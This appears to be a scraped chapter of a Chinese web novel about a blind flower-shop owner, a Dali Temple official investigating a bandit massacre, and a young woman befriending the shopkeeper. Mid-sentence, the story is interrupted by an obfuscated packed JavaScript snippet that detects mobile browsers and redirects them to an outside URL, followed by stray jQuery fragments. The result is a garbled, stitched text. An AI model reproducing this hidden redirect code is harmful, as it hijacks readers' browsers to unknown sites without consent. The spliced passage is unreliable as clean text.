13. 芙蓉娇

作品:《瞎子拯救世界

    清晨太阳高照,江翊刚推开房门准备迎接今日的工作,一道金黄的光亮刺痛了他的双眼。


    低头一看,拳头大的金锭乖巧地躺在他门前。


    而他只是用余光扫了一秒,熟练地伸出脚踢到一旁。金锭骨碌骨碌滚远,滚进了它的大家庭里。


    角落里,已经有一堆金锭了,每每白日,闪闪发光。


    焦方源曾玩笑,再这样下去,大理寺就不需要太阳了。


    江翊就会立马嘴回去,说他要是继续抓不住放金锭的人,可以帮他少走三十年弯路。


    直接摘帽收拾滚蛋。


    .........


    “出什么事了?”


    江翊戴上官帽,身着紫袍,腰系花卉缠枝带,系金囊,整个人就像是熨平的云锦缎面,一丝不苟,严谨细致。


    “不好细说,大人下朝后从南门走,我们在那接你,直接去城外,王城令已经让人封锁现场了。”


    焦方源身着红袍,两人丰神俊朗各有千秋,大步流星,齐齐上了备好的马车。


    .........


    “宿主,他又双叒叕给踢走了。”


    虞夏摸着花叶的手一顿,后又若无其事地摸索整理。


    等确认面前这盆花健□□长时,她转身走到有遮挡的地方,心念一动,脑海里那张检测表上“抗诱力”的指标打了三星。


    系统摸不着头脑:“宿主,这已经连送一个月了,还只是三星吗?”


    虞夏苦口婆心:“我说你还是太年轻,除了金钱诱惑,难道就没有其他诱惑了吗?”


    系统醍醐灌顶:“对啊宿主,你真的好细心,我真是找对救兵了!不过…”


    虞夏挑眉:“怎么?”


    “你用涂了金色颜料的石头糊弄江翊真的不害怕被发现吗?”


    “那咋了?谁知道是我干的?”


    虞夏无所谓耸耸肩:“难不成我还真的给他递金子吗?谁能看出来那是假的金锭?放心吧,我这滥竽充数浑水摸鱼的本事顶顶好的。”


    “有人在吗?”


    不等系统说什么,铺子外传来一道乖巧灵动的女声。


    “有的。”


    虞夏从架子后面走了出去,带着笑脸:“客官是要买花吗?”


    门外的少女身着鹅黄襦裙,轻挽紫纱披帛,精巧的发髻高高梳起,仅用花簪和玉钗点缀,天然去雕饰。一双圆润杏眼盛满秋水,与虞夏的冷艳带着温婉不同,她贵气又可爱,让人很容易生出爱怜。


    萧若芙寻声望去,之间一跟她同龄的少女信步而来。身着绯青裙,墨发用木簪随意挽着,身姿婀娜,若柳扶风。


    她不禁看向对方那双无神失焦却又实在美丽的双眼:“请问,是虞娘子吗?”


    虞夏讶然:“我是,请问你是…”


    “我姓萧,从朋友那里听闻朱雀街的巷尾有一家花铺,老板姓虞,花养得很好。恰逢最近对养花起了兴趣,所以前来看看。”


    萧若芙说着走到虞夏面前,实在是没忍住,又或是不愿相信琉璃般的双眸浸泡在黑暗中,伸出手轻轻在她眼前晃了晃。


    虞夏舒展一笑:“萧娘子,我确实看不见。”


    萧若芙吓了一跳,立马缩回手,说话都带了结巴:“抱…抱歉…抱歉…”


    “没关系的。”


    虞夏身子往过侧了侧:“萧娘子,你看,这有你喜爱的花草吗?或者你想问我什么养花事宜?”


    “我…我想要…”萧若芙视线在铺子里头转了一圈,最后锁定在清雅幽香的淡紫色花束上:“我想要那盆蝴蝶兰。”


    “萧娘子稍等。”


    虞夏帮萧若芙包装好了花束,顺便叮嘱了花朵的喜好和养护注意事项。


    细致又温柔。


    看着眼前少女熟练的动作,萧若芙再一次被虞夏深深吸引了。


    年纪跟她差不多大,独自一人在长安城打拼,还把花铺经营的很有成效,关键是自己是个盲人!


    萧若芙觉得虞夏厉害得就像是天神下凡!


    她挨过去,抬手覆上虞夏细弱的胳膊,道:“我叫萧若芙,年十六,三月初十的生辰,家住玄武街。家里六口人,上面有三个哥哥,对了对了,还有咪咪。”


    萧若芙跟抖筛子一样,把能说的都说了,之前总听别家的小娘子说这花好,她也不知道自己为什么来了一趟跟中了蛊似的,就忍不住想与虞夏亲近。


    虞夏还没反应过来,萧若芙抱着花就跑了,只留下一句“虞娘子我们有缘再见”。


    虞夏感受胳膊残余的体温,眨了眨眼。


    .........


    “吁——!”


    马匹被人紧紧勒住,紫色的身影从马背利落翻下。


    刚下朝,江翊都来不及换官服,干脆卸了马车,骑着马同焦方源他们赶到城外。


    “江大人。”


    王城令远远望见江翊的身影疾步而来:“你可算来了。”


    “辛苦城令,劳烦。”


    “是个货郎。今早赶早送货,还没走上坡,便被坡底染红的土给吓着了,连忙赶来报案。我们的人片刻不敢停留,立马赶来,将这里围住,现场保留完好。”


    王城令引着江翊顺着红得发黑的土坡往上走,空气里已经混入了浓郁的恶臭味,走在后头的焦方源同何苍没忍住干呕了几下。


    “大人,看。”


    王城令捂住口鼻,指着前方血腥残暴的场景。


    满地的残肢断颅,蝇虫飞舞,极具冲击力。


    江翊皱了皱眉。


    他沿着坡面挨个细致观察,大多数人是被一刀毙命,有三人的头颅板板正正被摆在了最前面。


    面部表情被定格在生命的最后一秒,三人无一例外,皆是惊恐。


    江翊眯了眯眼:“是浏阳盗。”


    “浏阳盗?”


    “不会吧?”


    “那些凶徒怎么跑长安来了?”


    “……”


    议论声此起彼伏,江翊转身:“几日前收到密信,浏阳盗由江南逃窜,直逼长安。匪徒共五十人,三个当家武功高强,分别善刀鞭剑。”


    众人寻去,果然看见了三样破损的武器。


    江翊从尸身走过:“我知道是谁了。”


    王城令恍然惊呼:“难道是他?!”


    江翊点了点头。


    “大家可还搜到什么东西?”


    一个衙役匆匆上前,递给了江翊一张宣纸,纸上画着繁琐的交叉图案。


    “回大人,这是弟兄们在旁边林子发现的,有人刻在树皮上。”


    几人传着轮流看了许久,愣是没看出个所以然,只得让江翊先收着。


    “整理现场,清点上报,尽量别惊扰百姓。”


    “是,大人!”


    回去的路上,王城令坐在马车里一副欲言又止的表情。


    “王城令想问什么只说便是。”


    王城令哭丧着脸:“这已经多少次了,就算他是为民除害,但也不能不按章程办事啊,这置王法何在?置我们又何在?让我们怎么和上头交代?”


    说完他又直直叹气:“可他狡猾如狐狸,一点线索都没有,根本抓不到他……”


    “城令不必烦忧,我们明说便是。”


    “这种事还能明说?”


    江翊拍了拍王城令肩头:“跪着明说和摘了帽子说,想必城令也孰轻孰重吧?”


    王城令的脸哭丧得更厉害了。


    在车外骑马并行的何苍、焦方源相视一眼,齐齐叹气。


    帅气的那个“他”,我们非常能理解你想为纯善的人出一口恶气,整治长安城败坏的行为,但是…


    能不能考虑一下我们啊啊啊!


    我们怎么给朝堂、陛下交代啊啊!


    再这样下去我们也会被你一起“清理”掉的!!


    求放过。


    .........


    “芙儿,怎么不吃?这不是你最爱的四喜丸吗?”


    耳边传来三哥的疑问,萧若芙这才回过神。


    她看着碗里被自己戳成肉饼的丸子,尴尬地笑了笑:“没有…我就吃,就吃…”


    饭桌上的几人都看出了老幺的不对劲,萧父在桌子底下暗戳戳踢了踢萧三郎,后者立马露出一个明白的表情。


    晚饭过后,萧三郎拉着萧若芙在自家的小花园消食,一路上萧若芙都沉默寡言,基本都是他在说话。


    直到他送到屋门口,看见窗口的书桌摆了一盆蝴蝶兰,问了一句,萧若芙跟按键打开了一样叽里呱啦说了起来。


    “是不是特别好看?是不是世界上开得最好长得最美闻起来最香的蝴蝶兰?”


    “三哥哥,虞娘子真的好厉害,我现在越来越崇拜她。”


    虞娘子?


    萧三郎脑子一转,结合之前和今日自家妹妹的行为以及那盆花,他大概知道虞娘子是谁了。


    “我早都找人打听过,她是孤儿,自己一个人来长安城闯荡的。今日一见,人又美又厉害,真的是我的榜样!”


    “三哥哥,芙儿真的很喜欢虞娘子,可是我今天好像热情过了头,虞娘子会不会讨厌我?”


    萧三郎温柔地摸着自家妹妹的发髻:“那你先跟三哥哥说说,今天你是怎么和你的小榜样虞娘子相处的?”


    萧若芙一五一十告诉了萧三郎。


    “噗哈哈哈哈……”


    萧若芙瘪嘴:“我知道我有点傻,但三哥哥你可不可以等会走了自己偷偷笑?”


    “芙儿你还真是可爱,不知道还以为虞娘子盘问咱家户籍呢。”


    “你这个‘可爱’放在这里,很有争议哦哥…”


    “哥哥对天发誓,真的只是夸你可爱的意思。”


    “是吗?你笑得眼泪出来了。”


    “诶哟诶哟,好妹妹你就当没看见,没看见…”


    萧三郎抬手摸去眼尾的泪花,看着萧若芙语重心长:“我们家芙儿长大了,知道什么该说什么不该说,有自己的判断。既然芙儿选择告诉虞娘子这些比较私密的事情,那想来虞娘子脾性很好。”


    “芙儿若是想和虞娘子深交,明日再去找她便是,说明来意,三哥哥想一定没问题的。”


    萧若芙眨着欣喜的水眸:“真的吗?”


    萧三郎伸手轻弹她的额头:“真的,因为你和虞娘子,本身就是很好的人。”


    “两个很好的人,总会互相吸引的。”


    .........


    日落西山,黑夜降临,大理寺仍旧灯火通明。


    江翊埋在摆满案卷的桌子上,皱着眉头看着今日登记的案件。


    “大人!”


    何苍从门口匆匆而来,将手中的材料递给江翊:“大人,仵作验出来的,根据现场以及尸身留下的痕迹来看,这次起码两个人共同作案,而且其中一人善毒。”


    焦方源咬着笔头:“什么?一个人都已经够难对付的了,又来一个?!”


    何苍脸色难看,点了点头。


    江翊眉头紧促,不由伸出手揉着太阳穴。


    “就目前我们掌握的情况来看,只有这次是双人行,现在只希望下次仍是他一人作为。”


    他脸色透出明显的疲意:“局势错综复杂,我们越来越被动了。”


    一夜挑灯,对于那位神秘的他和新来的他的伙伴,大理寺的几位仍旧一无所获。


    就像往沙滩上扔了一粒沙石,往海里滴了一颗水珠。


    毫无作案痕迹。


    大理寺的几位看似活着,其实因为神秘的他走了好久了。


    每天都在隐秘的破防中。


    焦方源推开房门,眯着眼打量不算那么刺眼的太阳。


    嗯,真好,又是破防的一天。


    没关系的,不就是找不到人嘛,那有什么嘛哈哈哈…


    加油,帅气可人的焦小郎君,人生不就是起起落落落落落落落落落落的嘛?


    虽然找不出神秘的他,但也给上头交不了差啊。


    哈哈。


    他给自己加油打气,并自认为露出一个释怀的笑容。


    李莲抱着宝宝路过。


    发现、吓了一跳、臭骂一顿。


    李莲抱着宝宝离去。


    “……”


    (心碎)(心碎)(心碎)


    撮了几把鼻涕之后,他终于拎着自己的医药箱上路了。


    今天的任务是,给虞娘子做病后复诊回访,反映大理寺的客房和饭菜是否满意,给出评价并让其登记在册,好为年末领赏功绩添上些许。


    还没走到铺子前,远远地就看见粉衣小娘子站在门口,直勾勾盯着铺子里忙碌的身影发愣。


    焦方源很是好奇,他快步走到身旁出声问道:“这位娘子,你找人吗?”


    “啊!!!”


    正在思量着怎么跟虞夏开启今日第一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002358|161817||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    句美好交流的萧若芙被突如其来的男声吓了一跳,惊呼出声,一个飞扑躲在虞夏身后,软软道:


    “虞娘子,好害怕,吓死我了…”


    焦方源:“…?”


    虞夏本来也是被吓一跳,不过她很快反应过来,轻轻地拍了拍绕在胳膊上的柔荑:“没事的萧娘子,有我在。”


    萧若芙不可置信地抬头,她抬头看向那张近在咫尺的脸,连小绒毛都看得一清二楚:“你…怎么知道…是我…”


    虞夏温婉一笑,萧若芙被晃了眼。


    “因为我记得萧娘子的声音啊。就像春日的第一抹暖阳,寒冬的第一朵腊梅,天真烂漫。”


    “……”


    完蛋了,她要喜欢虞夏一辈子了。


    萧若芙完全要忘了自己要说什么,过了好久她才意识到自己跟个痴儿一样攀在虞夏身上,猛然松开留下句“虞娘子我有事先走了”又跑了。


    虞夏无奈笑着摇了摇头。


    这萧娘子,还真是年轻有活力。


    目睹了全程的焦方源更是摸不着头脑,他跨步进来:“小老板,她是谁啊?找你的吗?怎么那样啊?”


    虞夏招呼他坐下,照常上了一壶花茶,将昨天发生的事情告诉了焦方源。


    “这么说你跟这萧娘子今日才是第二次见面,连话也没说上几句。她对你有点热情过头了哈。”


    “许是我这里的花很对萧娘子胃口,又或许萧娘子本来就是像太阳热烈的人。”


    “你说得也是。”


    焦方源喝了一口花茶,脸上尽是满足,忽然拍了拍脑袋:“对了,差点忘了正事,我今日是来找你复诊回访的。”


    他正了神色:“小老板,最近有没有按时吃药啊?”


    听着他故作严肃的语气,虞夏回得乖巧:“回焦大人,都按您的方子吃着,不敢有丝毫差错。”


    “嗯,不错,让我看看你的伤口。”


    虞夏将手伸出去。


    虽然依旧能看出歪扭的伤痕,但好在已经淡成了淡粉色。


    “胸口那道伤我不方便看,许姐姐说快淡下去了吗?”


    虞夏一愣:“兰姐她几日前回娘家去了,我不知道…但我按时抹着药,想来跟手上的伤痕差不了太多的。”


    “回娘家去了?”


    “嗯,说是父亲生了重病,时日无多,想最后再见见她跟小宝。”


    “唉…那先这样吧,也没其他法子了,反正有什么难受的不舒服的一定要及时告诉我哦…”


    “嗯…”


    “那个!”


    两人的交谈被一道女声打断。


    焦方源抬头望去,之间刚刚跑走的小姑娘此刻又重新出现在门口,她胸口上下起伏着,微喘着气,手里还提着一块打包好的糕点。


    “我可以帮忙…”


    看着包装,焦方源一乐,扭头对虞夏道:“看来今日我有口福了。”


    .........


    敞亮的内室里,萧若芙红着小脸,眼神不断躲避。


    身旁的虞夏褪去了一层层衣物,只余单薄的里衣,松垮挂在肩头,半遮半掩露出灼目的红色抹胸。


    萧若芙:“……”


    白皙透亮的肌肤宛若上好的羊脂玉,又似高上盛开的葳蕤琉璃花,美中不足的是,胸口处那道丑陋深色的疤痕,像是用一把剪刀硬生生从完美的绣品中间割开。


    萧若芙用指尖剜了黄豆大小的膏药,动作轻柔地往上涂抹。


    突如其来的冰凉感让虞夏不禁缩了缩。


    “是…怎么弄的?”


    “是金仁风。”虞夏神色淡然:“他当时也抓走了我,若不是江大人及时赶到将我救了出去,不然还真的要被扒皮呢。”


    金仁风的事情萧若芙有所耳闻,她当时听着就觉得世界上怎么会有这么恶的人,她没想到虞夏也是受害者之一…


    她当时该有多害怕、多疼啊……


    手背被什么烫了一下。


    滴答滴答,一下接一下。


    虞夏不禁怔愣:“萧娘子,你…你怎么哭了?”


    “我…我没事…”


    萧若芙知道自己失态,飞快摸了眼泪继续给虞夏抹药:“还疼吗?”


    “不疼了,早就不疼了。”


    萧若芙吸了吸鼻子,均匀涂抹,轻轻朝疤痕吹了口气,像是在安抚虞夏。


    虞夏失笑:“萧娘子别担心了,我没事,这伤疤真的不疼了。”


    “这药我知道,祛疤效果很好的,”萧若芙拉住虞夏的手,透着乞求的味道:“我每日都来帮你上药,好吗?”


    “这怎么…”


    “我不麻烦,我喜欢你!”


    萧若芙抢着虞夏说出这句话,后知后觉反应过来自己说了什么的时候脑子已经宕机,也不得什么逻辑分寸了:


    “第一次知道你是在朋友嘴里,刚开始是很好奇,后来亲眼看见你就很喜欢你,想和你做好朋友,你坚强勇敢又很能干,虞娘子你真的真的很好…我想跟你亲近…”


    一股脑将自己想说的话全部倒出来之后,萧若芙终于松了一口气,可她却不敢去看虞夏的反应,她害怕虞夏把她当作什么登徒子撵走。


    室里安静的能听见两人的呼吸声。


    过了半晌,萧若芙都要以为虞夏要拒绝的时候,虞夏笑出了声。


    她说:


    “我是正月初十的。”


    萧若芙:“啊?”


    “以后莫要叫我什么虞娘子了,就叫姐姐吧,行吗,芙儿?”


    “…行,行的,特别行!”


    萧若芙反应过来欣喜若狂:“夏姐姐,你还记得我的生辰!”


    “你说的话,姐姐都记得。”


    ......


    小剧场:


    一日倾盆大雨,让江翊屋外墙角的金锭露出了真面目。


    一堆泥石块,金黄的颜料顺着积水朝地势低的地方流去。


    江翊:“……”


    恰巧,焦方源的宿舍就在地势低的地方。


    他“哗啦”拉开门,看着满地的金黄:“…谁拉这了?”


    李莲路过,嫌弃逃走。


    何苍路过,嫌弃逃走。


    焦方源:“……那谁,你来帮我一下…”


    侍卫装作欣赏白日月色,飞快逃走。


    “……”


    最后,在江翊的淫.威下,焦方源骂骂咧咧得收拾干净了。